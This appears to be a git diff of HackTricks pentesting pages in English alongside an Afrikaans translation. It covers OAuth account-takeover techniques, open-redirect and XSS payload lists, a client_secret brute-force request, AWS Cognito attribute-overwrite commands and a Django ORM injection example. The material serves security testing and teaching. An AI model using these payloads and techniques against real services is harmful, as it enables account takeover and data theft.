- **resource server**: Die **bediener wat geverifieerde versoeke bestuur** nadat die toepassing 'n `access token` namens die `resource owner` verkry het, bv. **https://socialmedia.com**.
- **client application**: Die **toepassing wat magtiging soek** van die `resource owner`, soos **https://example.com**.
- **authorization server**: Die **bediener wat `access tokens` uitreik** aan die `client application` na die suksesvolle verifikasie van die `resource owner` en die verkryging van magtiging, bv. **https://socialmedia.com**.
- **client_id**: 'n Publieke, unieke identifiseerder vir die toepassing.
- **client_secret:** 'n Vertroulike sleutel, bekend slegs aan die toepassing en die magtigingsbediener, wat gebruik word om `access_tokens` te genereer.
- **response_type**: 'n Waarde wat **die tipe token wat aangevra word** spesifiseer, soos `code`.
- **scope**: Die **vlak van toegang** wat die `client application` van die `resource owner` aan vra.
- **redirect_uri**: Die **URL waarnatoe die gebruiker herlei word na magtiging**. Dit moet tipies ooreenstem met die vooraf geregistreerde herlei URL.
- **state**: 'n parameter om **data te handhaaf oor die gebruiker se herleiding na en van die magtigingsbediener**. Die uniekheid daarvan is krities om as 'n **CSRF beskermingsmeganisme** te dien.
- **grant_type**: 'n parameter wat **die toekennings tipe en die tipe token wat teruggegee moet word** aandui.
- **code**: Die magtigingskode van die `authorization server`, wat saam met `client_id` en `client_secret` deur die kliënttoepassing gebruik word om 'n `access_token` te verkry.
- **access_token**: Die **token wat die kliënttoepassing gebruik vir API versoeke** namens die `resource owner`.
- **refresh_token**: Stel die toepassing in staat om **'n nuwe `access_token` te verkry sonder om die gebruiker weer te vra**.
### Flow
### Stroom
The **actual OAuth flow** proceeds as follows:
1. You navigate to [https://example.com](https://example.com) and select the “Integrate with Social Media” button.
2. The site then sends a request to [https://socialmedia.com](https://socialmedia.com) asking for your authorization to let https://example.coms application access your posts. The request is structured as:
Die **werklike OAuth stroom** verloop soos volg:
1. Jy navigeer na [https://example.com](https://example.com) en kies die “Integreer met Sosiale Media” knoppie.
2. Die webwerf stuur dan 'n versoek na [https://socialmedia.com](https://socialmedia.com) om jou magtiging te vra om https://example.com se toepassing toegang tot jou plasings te gee. Die versoek is gestruktureer as:
```
https://socialmedia.com/auth
?response_type=code
@ -44,70 +43,62 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. You are then presented with a consent page.
4. Following your approval, Social Media sends a response to the `redirect_uri` with the `code` and `state` parameters:
3. Jy word dan met 'n toestemmingsbladsy voorgelê.
4. Na jou goedkeuring, stuur Social Media 'n antwoord na die `redirect_uri` met die `code` en `state` parameters:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com utilizes this `code`, together with its `client_id` and `client_secret`, to make a server-side request to obtain an `access_token` on your behalf, enabling access to the permissions you consented to:
5. https://example.com gebruik hierdie `code`, saam met sy `client_id` en `client_secret`, om 'n bediener-kant versoek te maak om 'n `access_token` namens jou te verkry, wat toegang tot die toestemmings wat jy goedgekeur het, moontlik maak:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Laastens sluit die proses af wanneer https://example.com jou `access_token` gebruik om 'n API-oproep na Social Media te maak om toegang te verkry
6. Finally, the process concludes as https://example.com employs your `access_token` to make an API call to Social Media to access
## Vulnerabilities <a href="#id-323a" id="id-323a"></a>
## Kw vulnerabilities <a href="#id-323a" id="id-323a"></a>
### Open redirect_uri <a href="#cc36" id="cc36"></a>
The `redirect_uri` is crucial for security in OAuth and OpenID implementations, as it directs where sensitive data, like authorization codes, are sent post-authorization. If misconfigured, it could allow attackers to redirect these requests to malicious servers, enabling account takeover.
Die `redirect_uri` is van kardinale belang vir sekuriteit in OAuth en OpenID implementasies, aangesien dit aandui waar sensitiewe data, soos magtigingskode, gestuur word na magtiging. As dit verkeerd geconfigureer is, kan dit aanvallers toelaat om hierdie versoeke na kwaadwillige bedieners te herlei, wat rekening oorname moontlik maak.
Exploitation techniques vary based on the authorization server's validation logic. They can range from strict path matching to accepting any URL within the specified domain or subdirectory. Common exploitation methods include open redirects, path traversal, exploiting weak regexes, and HTML injection for token theft.
Eksploitasiemetodes verskil op grond van die magtigingsbediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasiemetodes sluit oop herleidings, pad traversering, die benutting van swak regexes, en HTML-inspuiting vir token-diefstal in.
Besides `redirect_uri`, other OAuth and OpenID parameters like `client_uri`, `policy_uri`, `tos_uri`, and `initiate_login_uri` are also susceptible to redirection attacks. These parameters are optional and their support varies across servers.
Benewens `redirect_uri`, is ander OAuth en OpenID parameters soos `client_uri`, `policy_uri`, `tos_uri`, en `initiate_login_uri` ook kwesbaar vir herleidingaanvalle. Hierdie parameters is opsioneel en hul ondersteuning verskil oor bedieners.
For those targeting an OpenID server, the discovery endpoint (`**.well-known/openid-configuration**`) often lists valuable configuration details like `registration_endpoint`, `request_uri_parameter_supported`, and "`require_request_uri_registration`. These details can aid in identifying the registration endpoint and other configuration specifics of the server.
Vir diegene wat 'n OpenID-bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie-eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
### XSS in redirect implementation <a href="#bda5" id="bda5"></a>
As mentioned in this bug bounty report [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) it might be possible that the redirect **URL is being reflected in the response** of the server after the user authenticates, being **vulnerable to XSS**. Possible payload to test:
### XSS in herleiding implementering <a href="#bda5" id="bda5"></a>
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die herleiding **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moontlike payload om te toets:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Onbehoorlike hantering van die staat parameter <a href="#bda5" id="bda5"></a>
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
In OAuth implementasies kan die misbruik of weglating van die **`state` parameter** die risiko van **Cross-Site Request Forgery (CSRF)** aanvalle aansienlik verhoog. Hierdie kwesbaarheid ontstaan wanneer die `state` parameter **nie gebruik, as 'n statiese waarde gebruik, of nie behoorlik geverifieer** word nie, wat dit aanvallers moontlik maak om CSRF beskerming te omseil.
In OAuth implementations, the misuse or omission of the **`state` parameter** can significantly increase the risk of **Cross-Site Request Forgery (CSRF)** attacks. This vulnerability arises when the `state` parameter is either **not used, used as a static value, or not properly validated**, allowing attackers to bypass CSRF protections.
Aanvallers kan dit benut deur die magtiging proses te onderskep om hul rekening met 'n slagoffer se rekening te koppel, wat kan lei tot potensiële **rekening oorname**. Dit is veral krities in toepassings waar OAuth gebruik word vir **authentikasie doeleindes**.
Attackers can exploit this by intercepting the authorization process to link their account with a victim's account, leading to potential **account takeovers**. This is especially critical in applications where OAuth is used for **authentication purposes**.
Werklike voorbeelde van hierdie kwesbaarheid is gedokumenteer in verskeie **CTF uitdagings** en **hacking platforms**, wat die praktiese implikasies daarvan uitlig. Die probleem strek ook tot integrasies met derdeparty dienste soos **Slack**, **Stripe**, en **PayPal**, waar aanvallers kennisgewings of betalings na hul rekeninge kan herlei.
Real-world examples of this vulnerability have been documented in various **CTF challenges** and **hacking platforms**, highlighting its practical implications. The issue also extends to integrations with third-party services like **Slack**, **Stripe**, and **PayPal**, where attackers can redirect notifications or payments to their accounts.
Behoorlike hantering en verifikasie van die **`state` parameter** is van kardinale belang om teen CSRF te beskerm en die OAuth vloei te beveilig.
Proper handling and validation of the **`state` parameter** are crucial for safeguarding against CSRF and securing the OAuth flow.
### Voor Rekening Oorname <a href="#ebe4" id="ebe4"></a>
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
1. **Sonder E-pos Verifikasie by Rekening Skep**: Aanvallers kan proaktief 'n rekening skep met die slagoffer se e-pos. As die slagoffer later 'n derdeparty diens vir aanmelding gebruik, kan die toepassing per ongeluk hierdie derdeparty rekening aan die aanvaller se vooraf geskepte rekening koppel, wat lei tot ongemagtigde toegang.
2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers mag OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongemagtigde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
1. **Without Email Verification on Account Creation**: Attackers can preemptively create an account using the victim's email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attacker's pre-created account, leading to unauthorized access.
2. **Exploiting Lax OAuth Email Verification**: Attackers may exploit OAuth services that don't verify emails by registering with their service and then changing the account email to the victim's. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.
### Onthulling van Geheime <a href="#e177" id="e177"></a>
### Disclosure of Secrets <a href="#e177" id="e177"></a>
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig bekend gemaak kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
Identifying and protecting secret OAuth parameters is crucial. While the **`client_id`** can be safely disclosed, revealing the **`client_secret`** poses significant risks. If the `client_secret` is compromised, attackers can exploit the identity and trust of the application to **steal user `access_tokens`** and private information.
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder benut.
A common vulnerability arises when applications mistakenly handle the exchange of the authorization `code` for an `access_token` on the client-side rather than the server-side. This mistake leads to the exposure of the `client_secret`, enabling attackers to generate `access_tokens` under the guise of the application. Moreover, through social engineering, attackers could escalate privileges by adding additional scopes to the OAuth authorization, further exploiting the application's trusted status.
### Client Secret Bruteforce
You can try to **bruteforce the client_secret** of a service provider with the identity provider in order to be try to steal accounts.\
The request to BF may look similar to:
### Kliënt Geheim Bruteforce
Jy kan probeer om die **client_secret** van 'n diensverskaffer met die identiteitsverskaffer te **bruteforce** om te probeer om rekeninge te steel.\
Die versoek om BF mag soos volg lyk:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -117,31 +108,29 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer Header lek Code + State
### Referer Header leaking Code + State
Sodra die kliënt die **code en state** het, as dit **binne die Referer header weerspieël word** wanneer hy na 'n ander bladsy blaai, dan is dit kwesbaar.
Once the client has the **code and state**, if it's **reflected inside the Referer header** when he browses to a different page, then it's vulnerable.
### Toegangstoken gestoor in Bladsygeskiedenis
### Access Token Stored in Browser History
Gaan na die **bladsygeskiedenis en kyk of die toegangstoken daarin gestoor is**.
Go to the **browser history and check if the access token is saved in there**.
### Ewige Outeurskode
### Everlasting Authorization Code
Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waarbinne 'n aanvaller dit kan steel en gebruik**.
The **authorization code should live just for some time to limit the time window where an attacker can steal and use it**.
### Outeurs-/Herlaai Token nie aan kliënt gebind nie
### Authorization/Refresh Token not bound to client
As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, kan jy ander rekeninge oorneem**.
If you can get the **authorization code and use it with a different client then you can takeover other accounts**.
### Gelukkige Paaie, XSS, Iframes & Post Berigte om kode & state waardes te lek
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
[**Check this post**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
[**Kyk na hierdie pos**](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)
### AWS Cognito <a href="#bda5" id="bda5"></a>
In this bug bounty report: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) you can see that the **token** that **AWS Cognito** gives back to the user might have **enough permissions to overwrite the user data**. Therefore, if you can **change the user email for a different user email**, you might be able to **take over** others accounts.
In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **genoeg regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge oor te neem.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -149,87 +138,86 @@ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
```
For more detailed info about how to abuse AWS cognito check:
Vir meer gedetailleerde inligting oor hoe om AWS cognito te misbruik, kyk:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
### Abusing other Apps tokens <a href="#bda5" id="bda5"></a>
### Misbruik van ander Apps tokens <a href="#bda5" id="bda5"></a>
As [**mentioned in this writeup**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth flows that expect to receive the **token** (and not a code) could be vulnerable if they not check that the token belongs to the app.
Soos [**genoem in hierdie skrywe**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth vloei wat verwag om die **token** (en nie 'n kode' nie) te ontvang, kan kwesbaar wees as hulle nie nagaan dat die token aan die app behoort nie.
This is because an **attacker** could create an **application supporting OAuth and login with Facebook** (for example) in his own application. Then, once a victim logins with Facebook in the **attackers application**, the attacker could get the **OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token**.
Dit is omdat 'n **aanvaller** 'n **aansoek kan skep wat OAuth ondersteun en met Facebook kan aanmeld** (byvoorbeeld) in sy eie aansoek. Dan, sodra 'n slagoffer met Facebook in die **aanvaller se aansoek** aanmeld, kan die aanvaller die **OAuth token van die gebruiker wat aan sy aansoek gegee is, verkry en dit gebruik om in die slagoffer se OAuth aansoek aan te meld met die slagoffer se gebruikers token**.
> [!CAUTION]
> Therefore, if the attacker manages to get the user access his own OAuth application, he will be able to take over the victims account in applications that are expecting a token and aren't checking if the token was granted to their app ID.
> Daarom, as die aanvaller daarin slaag om die gebruiker toegang te gee tot sy eie OAuth aansoek, sal hy in staat wees om die slagoffer se rekening in aansoeke wat 'n token verwag en nie nagaan of die token aan hul app ID toegeken is nie, oor te neem.
### Two links & cookie <a href="#bda5" id="bda5"></a>
### Twee skakels & koekie <a href="#bda5" id="bda5"></a>
According to [**this writeup**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), it was possible to make a victim open a page with a **returnUrl** pointing to the attackers host. This info would be **stored in a cookie (RU)** and in a **later step** the **prompt** will **ask** the **user** if he wants to give access to that attackers host.
Volgens [**hierdie skrywe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), was dit moontlik om 'n slagoffer 'n bladsy te laat oopmaak met 'n **returnUrl** wat na die aanvaller se gasheer wys. Hierdie inligting sou **in 'n koekie (RU)** gestoor word en in 'n **latere stap** sal die **prompt** die **gebruiker** vra of hy toegang wil gee tot daardie aanvaller se gasheer.
To bypass this prompt, it was possible to open a tab to initiate the **Oauth flow** that would set this RU cookie using the **returnUrl**, close the tab before the prompt is shown, and open a new tab without that value. Then, the **prompt won't inform about the attackers host**, but the cookie would be set to it, so the **token will be sent to the attackers host** in the redirection.
Om hierdie prompt te omseil, was dit moontlik om 'n oortjie te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die oortjie te sluit voordat die prompt vertoon word, en 'n nuwe oortjie te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sou aan dit gestel word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
### Prompt Interaksie Omseiling <a href="#bda5" id="bda5"></a>
As explained in [**this video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), some OAuth implementations allows to indicate the **`prompt`** GET parameter as None (**`&prompt=none`**) to **prevent users being asked to confirm** the given access in a prompt in the web if they are already logged in the platform.
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig as hulle reeds in die platform aangemeld is**.
### response_mode
As [**explained in this video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), it might be possible to indicate the parameter **`response_mode`** to indicate where do you want the code to be provided in the final URL:
Soos [**verduidelik in hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), mag dit moontlik wees om die parameter **`response_mode`** aan te dui om aan te dui waar jy wil hê die kode in die finale URL moet verskaf word:
- `response_mode=query` -> The code is provided inside a GET parameter: `?code=2397rf3gu93f`
- `response_mode=fragment` -> The code is provided inside the URL fragment parameter `#code=2397rf3gu93f`
- `response_mode=form_post` -> The code is provided inside a POST form with an input called `code` and the value
- `response_mode=web_message` -> The code is send in a post message: `window.opener.postMessage({"code": "asdasdasd...`
- `response_mode=query` -> Die kode word binne 'n GET parameter verskaf: `?code=2397rf3gu93f`
- `response_mode=fragment` -> Die kode word binne die URL fragment parameter `#code=2397rf3gu93f` verskaf
- `response_mode=form_post` -> Die kode word binne 'n POST vorm met 'n invoer genaamd `code` en die waarde verskaf
- `response_mode=web_message` -> Die kode word in 'n pos boodskap gestuur: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
### OAuth ROPC vloei - 2 FA omseiling <a href="#b440" id="b440"></a>
According to [**this blog post**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), this is an OAuth flow that allows to login in OAuth via **username** and **password**. If during this simple flow a **token** with access to all the actions the user can perform is returned then it's possible to bypass 2FA using that token.
Volgens [**hierdie blogpos**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), is dit 'n OAuth vloei wat toelaat om in OAuth aan te meld via **gebruikersnaam** en **wagwoord**. As 'n **token** met toegang tot al die aksies wat die gebruiker kan uitvoer tydens hierdie eenvoudige vloei teruggestuur word, dan is dit moontlik om 2FA met daardie token te omseil.
### ATO on web page redirecting based on open redirect to referrer <a href="#bda5" id="bda5"></a>
### ATO op webblad wat herlei op grond van oop herleiding na verwysing <a href="#bda5" id="bda5"></a>
This [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comments how it was possible to abuse an **open redirect** to the value from the **referrer** to abuse OAuth to ATO. The attack was:
Hierdie [**blogpos**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) bespreek hoe dit moontlik was om 'n **oop herleiding** na die waarde van die **verwysing** te misbruik om OAuth te misbruik vir ATO. Die aanval was:
1. Victim access the attackers web page
2. The victim opens the malicious link and an opener starts the Google OAuth flow with `response_type=id_token,code&prompt=none` as additional parameters using as **referrer the attackers website**.
3. In the opener, after the provider authorizes the victim, it sends them back to the value of the `redirect_uri` parameter (victim web) with 30X code which still keeps the attackers website in the referer.
4. The victim **website trigger the open redirect based on the referrer** redirecting the victim user to the attackers website, as the **`respose_type`** was **`id_token,code`**, the code will be sent back to the attacker in the **fragment** of the URL allowing him to tacke over the account of the user via Google in the victims site.
1. Slagoffer toegang tot die aanvaller se webblad
2. Die slagoffer open die kwaadwillige skakel en 'n opener begin die Google OAuth vloei met `response_type=id_token,code&prompt=none` as bykomende parameters met die **verwysing die aanvaller se webwerf**.
3. In die opener, nadat die verskaffer die slagoffer goedgekeur het, stuur dit hulle terug na die waarde van die `redirect_uri` parameter (slagoffer web) met 30X kode wat steeds die aanvaller se webwerf in die verwysing hou.
4. Die slagoffer **webwerf aktiveer die oop herleiding gebaseer op die verwysing** wat die slagoffer gebruiker na die aanvaller se webwerf herlei, aangesien die **`respose_type`** **`id_token,code`** was, sal die kode teruggestuur word na die aanvaller in die **fragment** van die URL wat hom toelaat om die rekening van die gebruiker via Google op die slagoffer se webwerf oor te neem.
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**Check this research**](https://portswigger.net/research/hidden-oauth-attack-vectors) **For further details of this technique.**
[**Kyk hierdie navorsing**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Vir verdere besonderhede van hierdie tegniek.**
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for **Server-Side Request Forgery (SSRF)** attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteitskwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
**Key Points:**
**Belangrike Punten:**
- **Dynamic Client Registration** is often mapped to `/register` and accepts details like `client_name`, `client_secret`, `redirect_uris`, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests.
- This feature adheres to specifications laid out in **RFC7591** and **OpenID Connect Registration 1.0**, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
- **`logo_uri`**: A URL for the client application's logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.
- **`jwks_uri`**: A URL to the client's JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.
- **`sector_identifier_uri`**: References a JSON array of `redirect_uris`, which the server might fetch, creating an SSRF opportunity.
- **`request_uris`**: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
- **Dinamiese Kliënt Registrasie** word dikwels aan `/register` gekarteer en aanvaar besonderhede soos `client_name`, `client_secret`, `redirect_uris`, en URL's vir logo's of JSON Web Key Sets (JWKs) via POST versoeke.
- Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat moontlik kwesbaar is vir SSRF.
- Die registrasieproses kan onbedoeld bedieners aan SSRF blootstel op verskeie maniere:
- **`logo_uri`**: 'n URL vir die kliënt aansoek se logo wat deur die bediener opgevraag kan word, wat SSRF kan aktiveer of kan lei tot XSS as die URL verkeerd hanteer word.
- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan dwing om uitgaande versoeke na 'n aanvaller-beheerde bediener te maak.
- **`sector_identifier_uri`**: Verwys na 'n JSON-array van `redirect_uris`, wat die bediener mag opvra, wat 'n SSRF geleentheid skep.
- **`request_uris`**: Lys toegelate versoek URI's vir die kliënt, wat misbruik kan word as die bediener hierdie URI's aan die begin van die outorisering proses opvra.
**Exploitation Strategy:**
**Misbruik Strategie:**
- SSRF can be triggered by registering a new client with malicious URLs in parameters like `logo_uri`, `jwks_uri`, or `sector_identifier_uri`.
- While direct exploitation via `request_uris` may be mitigated by whitelist controls, supplying a pre-registered, attacker-controlled `request_uri` can facilitate SSRF during the authorization phase.
- SSRF kan geaktiveer word deur 'n nuwe kliënt met kwaadwillige URL's in parameters soos `logo_uri`, `jwks_uri`, of `sector_identifier_uri` te registreer.
- Terwyl direkte misbruik via `request_uris` moontlik beperk kan word deur witlysbeheer, kan die verskaffing van 'n vooraf geregistreerde, aanvaller-beheerde `request_uri` SSRF gedurende die outorisering fase fasiliteer.
## OAuth providers Race Conditions
## OAuth verskaffers Wedloop Toestande
If the platform you are testing is an OAuth provider [**read this to test for possible Race Conditions**](race-condition.md).
As die platform wat jy toets 'n OAuth verskaffer is [**lees dit om vir moontlike Wedloop Toestande te toets**](race-condition.md).
## References
## Verwysings
- [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
- [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
@ -239,4 +227,3 @@ If the platform you are testing is an OAuth provider [**read this to test for po
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,20 +4,19 @@
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Verdiep jou kundigheid in **Mobiele Sekuriteit** met 8kSec Akademie. Beheers iOS en Android sekuriteit deur ons self-gebaseerde kursusse en kry sertifisering:
{% embed url="https://academy.8ksec.io/" %}
## Open redirect
### Redirect to localhost or arbitrary domains
### Redirect na localhost of arbitrêre domeine
{{#ref}}
ssrf-server-side-request-forgery/url-format-bypass.md
{{#endref}}
### Open Redirect to XSS
### Open Redirect na XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
@ -63,9 +62,7 @@ javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
## Open Redirect uploading svg files
## Open Redirect om svg-lêers op te laai
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
@ -75,9 +72,7 @@ xmlns="http://www.w3.org/2000/svg">
</svg>
</code>
```
## Common injection parameters
## Algemene inspuitingsparameters
```
/{payload}
?next={payload}
@ -152,23 +147,17 @@ RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
## Code examples
## Kode voorbeelde
#### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
#### Java
```bash
response.redirect("http://mysafedomain.com");
```
#### PHP
```php
<?php
/* browser redirections*/
@ -176,23 +165,21 @@ header("Location: http://mysafedomain.com");
exit;
?>
```
## Tools
## Gereedskap
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
## Resources
## Hulpbronne
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\\
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) kan jy fuzzing lyste vind.\\
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
Verdiep jou kundigheid in **Mobiele Sekuriteit** met 8kSec Akademie. Beheers iOS en Android sekuriteit deur ons self-gebaseerde kursusse en kry sertifisering:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,62 +4,55 @@
## Django ORM (Python)
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:
In [**hierdie pos**](https://www.elttam.com/blog/plormbing-your-django-orm/) word verduidelik hoe dit moontlik is om 'n Django ORM kwesbaar te maak deur byvoorbeeld 'n kode soos:
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
"""
'n Basiese API-uitsig waaraan gebruikers versoeke stuur om
artikels te soek
"""
def post(self, request: Request, format=None):
try:
<strong> articles = Article.objects.filter(**request.data)
</strong> serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
except Exception as e:
return Response([])
return Response(serializer.data)
</code></pre>
Note how all the request.data (which will be a json) is directly passed to **filter objects from the database**. An attacker could send unexpected filters in order to leak more data than expected from it.
